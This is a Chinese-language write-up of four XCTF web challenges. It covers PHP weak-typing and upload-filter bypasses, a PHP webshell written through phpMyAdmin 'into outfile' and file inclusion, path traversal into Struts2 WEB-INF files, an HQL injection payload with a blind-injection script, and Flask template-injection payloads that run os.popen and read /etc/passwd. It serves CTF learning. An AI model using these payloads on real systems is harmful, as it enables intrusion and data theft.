ics-07
Web_php_include
Zhuanxv
Web_python_template_injection
ics-07
题前半部分是php弱类型
这段说当传入的id值浮点值不能为1,但是id的最后一个数必须为9,session才能为admin
当id为1a9时可符合上面的要求
看看上传的源码:
php if ($_SESSION['admin']) { $con = $_POST['con']; $file = $_POST['file']; $filename = "backup/".$file; if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){ die("Bad file extension"); }else{ chdir('uploaded'); $f = fopen($filename, 'w'); fwrite($f, $con); fclose($f); } } ?>
利用正则检测的文件后缀名 黑名单模式
突破后缀黑名单思路:
一种是Web中间件的解析漏洞 , 因为已经知道中间件是Apache2 , 使用的是PHP . 所以无非就是Apache解析漏洞或者PHP CGI解析漏洞
一种是通过上传.htaccess文件 , 要使用该功能需要Apache在配置文件中设置AllowOverride All , 并且启用Rewrite模块 , 经过测试发现上传的.htaccess无法生效
[/var/www/html/uploaded/backup/]$ cat /etc/mime.types | grep php #application/x-httpd-php phtml pht php #application/x-httpd-php-source phps #application/x-httpd-php3 php3 #application/x-httpd-php3-preprocessed php3p #application/x-httpd-php4 php4 #application/x-httpd-php5 php5
发现很多文件后缀都使用了application/x-httpd-php这个解析器
其中 phps 和 php3p 都是源代码文件 , 无法被执行 . 而剩下所有的后缀都被正则表过滤 , 所以这种方式也无法成功上传可执行文件
这道题利用了一个Linux的目录结构特性
linux中创建了一个目录为1.php , 都会在其中自动创建两个隐藏文件 .. 和 .
构造:
con=&file=qing.php/qing.php/..
Web_php_include
发现phpinfo()可以看到绝对路径 和 phpmyadmin
进入phpmyadmin页面 root直接空密码登录
查看phpmyadmin变量 secure file priv 值为空 说明可以写入一句话
测试到/tmp 目录可以写入,也可以包含读取。
于是将一句话写入/tmp,菜刀链接文件包含页面,得到flag
eval(@$_POST['qing']); ?> select "$_POST['qing']); ?>"into outfile '/tmp/qing.php'
http://111.198.29.45:43025/?page=/tmp/qing.php 菜刀链接
Zhuanxv
XCTF 4th-SCTF-2018
扫描发现 list目录
爆破注入没成功 看看源码
传参方式取图片 站点发现是java fuzz下
这里fuzz时候还要多fuzz下目录 这里是../../WEB-INF/web.xml
配置文件里面写的是Struts2
关于Struts2目录结构
https://www.cnblogs.com/pigtail/archive/2013/02/12/2910348.html
Struts 2框架有两个核心配置文件,其中struts.xml文件主要负责管理应用中的Action映射,以及该Action包含的Result定义等。
除此之外,Struts 2框架还包含 struts.properties文件,该文件定义了Struts 2框架的大量属性,开发者可以通过改变这些属性来满足应用的需求。
Struts2在WEB-INF目录的class目录下有个核心的xml文件
读取struts.xml文件
http://111.198.29.45:39585/loadimage?fileName=../../WEB-INF/classes/struts.xml
这里class里面可以看到很多class类名 尝试下载
访问../../WEB-INF/classes/applicationContext.xml,获取class文件路径和项目配置信息、数据库信息
http://111.198.29.45:32744/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml
发现 有个user.hbm.xml项
从user.hbm.xml得知表名和类名映射
逐个下载配置文件class 在com/cuitctf/service/impl/UserServiceImpl.class得知过滤规则,用户名只过滤空格和等号,密码限制只能字母+数字
可以看到拼接的sql语句 直接拼接的name和password变量造成注入 这里是hql语句
设计到hql注入
注入payload:
admin%27%0Aor%0A%271%27%3E%270'%0Aor%0Aname%0Alike%0A'admin&user.password=1
盲注脚本
import requests s=requests.session() flag='' for i in range(1,50): p='' for j in range(1,255): payload="(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'" #print payload url="http://121.196.195.244:9032/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1" r1=s.get(url) #print url #print len(r1.text) if len(r1.text)>20000 and p!='': flag+=p print i,flag break p=chr(j)
Web_python_template_injection
一道有意思的python模版注入(SSTI)
发现存在SSTI 把{{}}中的内容当变量去解析并执行了
FLASK中config是配置为对象 这里使用这个对象的item方法查看信息
config.items()
查查看所有模块
[].__class__.__base__.__subclasses__()
因为如果执行命令需要os模块 这里os模块是在warnings.catch_warnings模块 先找warnings.catch_warnings模块 为第59个
查看warnings.catch_warnings模块的全局函数 利用到的是func_globals.keys()
[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()
可以看到 linecache函数,os模块就在其中
查看flag文件所在
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )
{{"".__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}
读取文件 利用到的是object对象下的file类的read函数
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()